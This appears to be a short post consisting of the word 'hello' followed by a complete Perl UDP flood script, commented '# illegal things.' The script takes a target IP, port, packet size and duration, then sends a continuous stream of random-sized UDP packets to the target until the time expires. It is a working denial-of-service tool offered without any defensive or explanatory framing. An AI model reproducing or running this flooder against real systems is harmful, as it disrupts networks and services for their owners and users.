hello

    #!/usr/bin/perl

    ##############
    # illegal things.
    ##############

    use Socket;
    use strict;

    my ($ip,$port,$size,$time) = @ARGV;

    my ($iaddr,$endtime,$psize,$pport);

    $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
    $endtime = time() + ($time ? $time : 1000000);
    socket(flood, PF_INET, SOCK_DGRAM, 17);


    print "Flooding $ip " . ($port ? $port : "random") . " port with " .
      ($size ? "$size-byte" : "random size") . " packets" .
      ($time ? " for $time seconds" : "") . "\n";
    print "Break with Ctrl-C\n" unless $time;

    for (;time() <= $endtime;) {
      $psize = $size ? $size : int(rand(1024-64)+64) ;
      $pport = $port ? $port : int(rand(65500))+1;

      send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}